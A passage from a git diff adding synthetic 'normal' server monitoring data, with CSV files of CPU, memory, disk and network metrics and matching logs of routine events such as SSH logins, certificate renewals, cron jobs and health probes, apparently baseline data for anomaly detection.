user from 192.168.1.10 port 22 +Aug 22 10:03:25 certbot[8888]: INFO: Renewing certificate for example.com. +Aug 22 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:35 certbot[8888]: INFO: Certificate renewal successful. +Aug 22 10:03:40 certbot[8888]: INFO: Reloading nginx service. diff --git a/norm_dataset/scenario_5/norm_5_44.csv b/norm_dataset/scenario_5/norm_5_44.csv new file mode 100644 index 0000000000000000000000000000000000000000..0f61972aa3872ddcd794ff2a0406109a677cce34 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_44.csv @@ -0,0 +1,91 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+2025-08-05T10:07:20Z,15.60676319302195,38.59191231680439,20.388757376352075,0.9397670869509941,0.6372153870416174 +2025-08-05T10:07:25Z,16.84071306571584,38.64641229958628,26.408610976768056,0.7261686298667418,0.5482055107266017 diff --git a/norm_dataset/scenario_5/norm_5_44.log b/norm_dataset/scenario_5/norm_5_44.log new file mode 100644 index 0000000000000000000000000000000000000000..f71ef45525674af762ad51d7b8b3fbbac81f54bf --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_44.log @@ -0,0 +1,23 @@ +Aug 05 10:00:00 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=22 +Aug 05 10:00:25 sshd[7890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 05 10:00:50 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 05 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 05 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 05 10:02:05 web-app[3456]: GET /api/v1/status status=200 OK +Aug 05 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 05 10:02:55 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 05 10:03:20 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 05 10:03:45 CRON[12345]: (root) CMD (certbot renew --quiet) +Aug 05 10:03:45 certbot[12346]: INFO: Renewing certificate for example.com. +Aug 05 10:03:45 sshd[7890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 05 10:03:50 certbot[12346]: INFO: Certificate renewal successful. +Aug 05 10:03:55 certbot[12346]: INFO: Reloading nginx service. +Aug 05 10:03:55 systemd[1]: Reloaded The NGINX HTTP and reverse proxy server. +Aug 05 10:04:10 web-app[3456]: GET /api/v1/status status=200 OK +Aug 05 10:04:35 sshd[7890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 05 10:05:00 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=22 +Aug 05 10:05:25 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 05 10:05:50 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 05 10:06:15 sshd[7890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 05 10:06:40 sshd[7890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 05 10:07:05 sshd[7890]: Accepted publickey for user from 192.168.1.10 port 54321 diff --git a/norm_dataset/scenario_5/norm_5_45.csv b/norm_dataset/scenario_5/norm_5_45.csv new file mode 100644 index 0000000000000000000000000000000000000000..1dd38627c97dc3235ac28a0758db346ff4f1baa2 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_45.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T03:00:00Z,15.99,40.15,28.13,1.29,0.9 +2025-08-25T03:00:05Z,14.72,41.45,20.71,0.71,1.11 +2025-08-25T03:00:10Z,16.3,38.95,19.65,1.23,0.78 +2025-08-25T03:00:15Z,18.05,39.51,27.41,1.0,0.88 +2025-08-25T03:00:20Z,14.53,39.41,23.88,0.8,0.94 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+2025-08-25T03:07:00Z,13.38,40.42,23.74,1.0,0.54 +2025-08-25T03:07:05Z,14.0,41.24,18.76,0.8,0.93 +2025-08-25T03:07:10Z,16.83,40.02,33.16,1.0,0.87 +2025-08-25T03:07:15Z,15.66,42.18,17.85,0.94,0.61 +2025-08-25T03:07:20Z,13.94,39.6,22.8,1.06,0.7 +2025-08-25T03:07:25Z,16.03,44.08,25.65,0.83,0.59 diff --git a/norm_dataset/scenario_5/norm_5_45.log b/norm_dataset/scenario_5/norm_5_45.log new file mode 100644 index 0000000000000000000000000000000000000000..7221346722bfd1f0044346140ac701faf45cb99c --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_45.log @@ -0,0 +1,16 @@ +Aug 25 03:00:00 systemd[1]: Starting daily clean up activities... +Aug 25 03:00:40 systemd[1]: Starting daily clean up activities... +Aug 25 03:01:09 systemd[1]: Starting daily clean up activities... +Aug 25 03:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 25 03:02:23 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 25 03:02:48 web-app[1234]: GET /api/v1/health status=200 OK +Aug 25 03:03:20 CRON[8852]: (root) CMD (certbot renew --quiet) +Aug 25 03:03:25 certbot[8855]: INFO: Renewing certificate for example.com. +Aug 25 03:04:01 systemd[1]: Starting daily clean up activities... +Aug 25 03:04:41 systemd[1]: Starting daily clean up activities... +Aug 25 03:05:03 systemd[1]: Starting daily clean up activities... +Aug 25 03:05:20 systemd[1]: Starting daily clean up activities... +Aug 25 03:05:54 web-app[1234]: GET /api/v1/health status=200 OK +Aug 25 03:06:23 web-app[1234]: GET /api/v1/health status=200 OK +Aug 25 03:07:01 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 25 03:07:29 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz diff --git a/norm_dataset/scenario_5/norm_5_5.csv b/norm_dataset/scenario_5/norm_5_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..d5840b105898c9d64d049aa4ef10e614dcba95dd --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_5.csv @@ -0,0 +1,91 @@ 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GET /api/v1/user/12 status=200 OK +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:03:20 CRON[6543]: (root) CMD (certbot renew --quiet) +Jul 03 10:03:25 certbot[6545]: INFO Renewing certificate for example.com +Jul 03 10:03:40 certbot[6545]: INFO Certificate renewal successful. +Jul 03 10:03:45 certbot[6545]: INFO Reloading nginx service. +Jul 03 10:03:50 systemd[1]: Reloaded A high performance web server and a reverse proxy server. +Jul 03 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:10 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 03 10:04:45 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 03 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 03 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:55 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 03 10:06:30 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 03 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:05 web-app[1234]: GET /api/v1/user/45 status=200 OK \ No newline at end of file diff --git a/norm_dataset/scenario_5/norm_5_6.csv b/norm_dataset/scenario_5/norm_5_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..03fc282cd451edf6192734a9b3c9f27a36c24664 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.52,41.5,25.76,1.25,0.85 +2025-07-02T12:00:05Z,12.96,40.42,25.91,0.88,0.72 +2025-07-02T12:00:10Z,15.23,40.15,29.63,1.1,0.68 +2025-07-02T12:00:15Z,14.82,38.16,26.11,0.88,0.74 +2025-07-02T12:00:20Z,16.37,41.37,29.81,0.94,0.86 +2025-07-02T12:00:25Z,15.64,38.35,29.73,1.24,0.77 +2025-07-02T12:00:30Z,13.77,38.71,29.23,1.01,0.59 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+2025-07-02T12:07:15Z,15.59,42.44,25.7,0.88,0.95 +2025-07-02T12:07:20Z,14.86,41.48,32.84,0.91,0.75 +2025-07-02T12:07:25Z,15.16,38.03,30.32,0.83,0.61 diff --git a/norm_dataset/scenario_5/norm_5_6.log b/norm_dataset/scenario_5/norm_5_6.log new file mode 100644 index 0000000000000000000000000000000000000000..d04c956096d503b92d1e1ecd2dc6bec44df7a1f4 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_6.log @@ -0,0 +1,37 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:00 CRON[6543]: (root) CMD (certbot renew --quiet) +Jul 02 12:03:05 certbot[6545]: INFO Renewing certificate for example.com +Jul 02 12:03:20 certbot[6545]: INFO Certificate renewal successful. +Jul 02 12:03:25 certbot[6545]: INFO Reloading nginx service. +Jul 02 12:03:25 systemd[1]: Reloaded nginx.service. +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:50 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:04:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:25 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:50 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:05:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:25 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:50 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:06:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:25 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:50 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:07:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:25 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_7.csv b/norm_dataset/scenario_5/norm_5_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..387c0e26b076adf506f9e93f5b9189e6a2d5bbf2 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.1,39.57,37.71,1.05,1.07 +2025-07-03T10:00:05Z,16.53,40.63,28.47,1.09,0.72 +2025-07-03T10:00:10Z,15.88,39.45,29.7,1.55,0.76 +2025-07-03T10:00:15Z,14.03,40.49,31.33,0.64,0.69 +2025-07-03T10:00:20Z,19.38,40.38,33.95,0.66,0.7 +2025-07-03T10:00:25Z,11.67,36.8,33.13,1.21,0.87 +2025-07-03T10:00:30Z,13.09,37.08,27.37,0.83,1.0 +2025-07-03T10:00:35Z,13.21,39.03,28.74,0.94,0.84 +2025-07-03T10:00:40Z,18.64,40.05,29.8,0.94,0.95 +2025-07-03T10:00:45Z,13.18,41.45,28.82,1.18,0.68 +2025-07-03T10:00:50Z,16.69,37.98,35.91,1.11,0.82 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+2025-07-03T10:07:15Z,16.07,39.09,28.32,0.85,0.92 +2025-07-03T10:07:20Z,17.38,38.88,32.12,0.76,0.87 +2025-07-03T10:07:25Z,12.23,39.82,31.68,0.88,0.8 diff --git a/norm_dataset/scenario_5/norm_5_7.log b/norm_dataset/scenario_5/norm_5_7.log new file mode 100644 index 0000000000000000000000000000000000000000..71607bfdbc519bf3ec75628ccd1907d9fc1700e9 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_7.log @@ -0,0 +1,23 @@ +Jul 03 10:00:00 server-1 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:40 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:15 server-1 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:20 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:00 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:05 server-1 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:30 server-1 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:40 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:20 server-1 CRON[8801]: (root) CMD (certbot renew --quiet) +Jul 03 10:03:30 server-1 certbot[8805]: INFO Renewing certificate for example.com +Jul 03 10:03:40 server-1 certbot[8805]: INFO Certificate renewal successful. +Jul 03 10:03:45 server-1 certbot[8805]: INFO Reloading nginx service. +Jul 03 10:03:50 server-1 systemd[1]: Reloading The NGINX HTTP and reverse proxy server. +Jul 03 10:03:55 server-1 systemd[1]: Reloaded The NGINX HTTP and reverse proxy server. +Jul 03 10:04:00 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:04:10 server-1 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:40 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:00 server-1 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:20 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:00 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:15 server-1 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:40 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:07:20 server-1 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_8.csv b/norm_dataset/scenario_5/norm_5_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..5809722f594562373225f02f0f768553a027d6f3 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.99,40.29,33.13,1.29,0.88 +2025-07-02T12:00:05Z,14.72,42.91,25.71,0.71,1.03 +2025-07-02T12:00:10Z,16.3,37.89,24.65,1.23,0.78 +2025-07-02T12:00:15Z,18.05,39.02,32.41,1.0,0.86 +2025-07-02T12:00:20Z,14.53,38.82,28.88,0.8,0.9 +2025-07-02T12:00:25Z,14.53,35.61,33.57,1.09,0.74 +2025-07-02T12:00:30Z,18.16,40.89,32.37,1.04,0.83 +2025-07-02T12:00:35Z,16.53,40.78,29.64,0.88,0.8 +2025-07-02T12:00:40Z,14.06,40.02,25.77,1.01,0.81 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+2025-07-02T12:07:25Z,16.03,48.16,30.65,0.83,0.64 diff --git a/norm_dataset/scenario_5/norm_5_8.log b/norm_dataset/scenario_5/norm_5_8.log new file mode 100644 index 0000000000000000000000000000000000000000..5ef453a8d3714af699314bf1f86208ff2e41ca1e --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_8.log @@ -0,0 +1,11 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:20 certbot[6789]: INFO: Renewing certificate for example.com. +Jul 02 12:03:30 certbot[6789]: INFO: Certificate renewal successful. +Jul 02 12:03:40 certbot[6789]: INFO: Reloading nginx service. +Jul 02 12:04:10 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:00 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:50 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:40 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_5/norm_5_9.csv b/norm_dataset/scenario_5/norm_5_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..ee164e75df6efab2ff1b2f79f8896a0ae55b9efb --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,12.372229797915942,37.75431293615094,27.636937506738647,1.136823464176971,1.1848817056226195 +2025-08-18T10:00:05Z,15.699168426397717,39.608158047967834,36.28113324303284,1.1332379199935123,1.3197966554976652 +2025-08-18T10:00:10Z,14.143488501163517,46.587660419413645,25.28599561737029,0.8320612329510144,0.8175424304985341 +2025-08-18T10:00:15Z,15.912401942403624,41.14552843262429,33.95849183602839,1.331305298332664,1.0248289545076361 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+2025-08-18T10:07:00Z,15.831205281032831,37.60586861495547,29.975448314143758,1.1243584397394462,1.1309183593459111 +2025-08-18T10:07:05Z,15.688362365280318,42.390104394036456,39.69527345890258,0.9684879286511298,0.8009495597757924 +2025-08-18T10:07:10Z,11.607574469672027,35.84224176999403,22.52706693406955,1.463650441817898,0.6983579179942525 +2025-08-18T10:07:15Z,11.43123087609766,36.76449375278784,32.88513456652463,1.2665855658958824,0.825855704598992 +2025-08-18T10:07:20Z,15.323288749113573,40.4611543980112,33.19481663673938,1.2590418615252834,0.7175898951984128 +2025-08-18T10:07:25Z,12.014832940240048,38.805531069847035,40.62858600694901,1.0207928370697168,1.2445853828754063 diff --git a/norm_dataset/scenario_5/norm_5_9.log b/norm_dataset/scenario_5/norm_5_9.log new file mode 100644 index 0000000000000000000000000000000000000000..154e65053ef667a7380c9b4772d2564cb182b622 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_9.log @@ -0,0 +1,27 @@ +Aug 18 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:03:20 CRON[5432]: (root) CMD (certbot renew --quiet) +Aug 18 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 18 10:03:25 certbot[5433]: INFO: Renewing certificate for example.com. +Aug 18 10:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:03:35 certbot[5433]: INFO: Certificate renewal successful. +Aug 18 10:03:35 certbot[5433]: INFO: Reloading nginx service. +Aug 18 10:03:40 systemd[1]: Reloaded A high performance web server and a reverse proxy server. +Aug 18 10:04:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 18 10:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 18 10:05:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 18 10:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 18 10:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_1.csv b/norm_dataset/scenario_6/norm_6_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..a100f6004c5db14a66afcd66500659ea9a78e911 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,67.48,54.45,33.24,1.8,1.15 +2025-07-15T10:00:05Z,63.83,61.32,33.84,1.41,1.31 +2025-07-15T10:00:10Z,62.68,53.14,31.21,1.12,0.86 +2025-07-15T10:00:15Z,62.19,50.95,31.57,1.32,0.92 +2025-07-15T10:00:20Z,72.33,54.1,30.34,1.22,1.09 +2025-07-15T10:00:25Z,65.55,50.4,31.88,1.38,1.14 +2025-07-15T10:00:30Z,61.99,62.41,29.93,1.29,1.36 +2025-07-15T10:00:35Z,58.9,55.84,20.2,1.23,1.24 +2025-07-15T10:00:40Z,68.69,55.69,29.42,1.44,0.9 +2025-07-15T10:00:45Z,61.4,53.16,35.29,1.57,0.85 +2025-07-15T10:00:50Z,66.62,53.46,26.62,1.62,1.41 +2025-07-15T10:00:55Z,69.66,51.64,28.45,1.57,1.4 +2025-07-15T10:01:00Z,62.6,54.26,24.47,1.26,1.36 +2025-07-15T10:01:05Z,71.78,54.71,35.02,1.57,1.07 +2025-07-15T10:01:10Z,66.81,61.15,29.82,1.81,0.68 +2025-07-15T10:01:15Z,69.11,55.35,28.5,1.52,0.8 +2025-07-15T10:01:20Z,63.9,56.43,37.39,1.4,1.04 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+2025-07-15T10:06:25Z,58.75,51.37,34.38,1.69,1.08 +2025-07-15T10:06:30Z,53.51,51.97,18.4,1.87,1.44 +2025-07-15T10:06:35Z,55.65,43.15,31.77,1.48,1.45 +2025-07-15T10:06:40Z,50.03,47.6,25.03,1.51,1.11 +2025-07-15T10:06:45Z,61.11,45.73,24.29,1.52,1.3 +2025-07-15T10:06:50Z,61.56,45.5,17.33,1.76,1.27 +2025-07-15T10:06:55Z,54.26,56.2,25.58,1.74,1.21 +2025-07-15T10:07:00Z,68.3,57.02,23.76,1.69,1.33 +2025-07-15T10:07:05Z,64.84,46.14,28.43,1.71,0.85 +2025-07-15T10:07:10Z,52.08,41.84,23.65,1.64,1.5 +2025-07-15T10:07:15Z,58.37,56.51,18.1,1.16,1.19 +2025-07-15T10:07:20Z,59.92,49.87,14.66,1.48,0.94 +2025-07-15T10:07:25Z,61.35,51.47,20.3,1.4,0.99 diff --git a/norm_dataset/scenario_6/norm_6_1.log b/norm_dataset/scenario_6/norm_6_1.log new file mode 100644 index 0000000000000000000000000000000000000000..491c51e211b6a287f55bb7f1d6e52700a73f68cd --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_1.log @@ -0,0 +1,54 @@ +Jul 15 10:00:00 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:15 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:00:30 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:00:45 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:00:50 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:00 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:05 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:15 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:30 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:45 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:50 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:01:55 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:05 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:15 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:20 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:30 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:35 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:45 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:50 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:55 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:02:55 systemd[1]: Starting daily clean up activities... +Jul 15 10:03:00 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:03:10 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:03:20 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:03:30 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:03:30 systemd[1]: Starting daily clean up activities... +Jul 15 10:03:35 web-app-blue[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 10:03:45 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:03:55 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:00 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:15 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:20 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:30 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:35 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:50 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:04:55 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:05:05 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:05:20 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:05:30 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:05:45 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:00 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:05 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:10 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:20 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:25 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:25 systemd[1]: Starting daily clean up activities... +Jul 15 10:06:30 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:45 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:50 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:07:05 web-app-green[5678]: GET /api/v1/user/45 status=200 OK +Jul 15 10:07:20 web-app-green[5678]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_10.csv b/norm_dataset/scenario_6/norm_6_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..ddd61761068633cdc5fa24893d9ee409bb8b3ef5 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,3.72,12.37,0.61,0.03,0.01 +2025-07-02T12:00:05Z,3.52,14.47,0.82,0.02,0.05 +2025-07-02T12:00:10Z,2.44,13.85,0.46,0.08,0.04 +2025-07-02T12:00:15Z,4.52,10.85,0.52,0.09,0.04 +2025-07-02T12:00:20Z,2.53,11.57,0.70,0.06,0.08 +2025-07-02T12:00:25Z,1.30,11.21,0.28,0.02,0.05 +2025-07-02T12:00:30Z,3.24,11.42,0.61,0.06,0.02 +2025-07-02T12:00:35Z,2.21,11.15,0.78,0.08,0.08 +2025-07-02T12:00:40Z,2.38,13.11,0.78,0.02,0.01 +2025-07-02T12:00:45Z,2.12,11.00,0.72,0.09,0.08 +2025-07-02T12:00:50Z,3.53,13.63,0.56,0.01,0.05 +2025-07-02T12:00:55Z,1.28,12.82,0.69,0.02,0.09 +2025-07-02T12:01:00Z,2.83,10.59,0.98,0.09,0.01 +2025-07-02T12:01:05Z,2.98,10.17,0.65,0.07,0.08 +2025-07-02T12:01:10Z,4.40,11.61,0.80,0.02,0.09 +2025-07-02T12:01:15Z,2.02,12.18,0.66,0.07,0.04 +2025-07-02T12:01:20Z,1.32,11.82,0.61,0.08,0.06 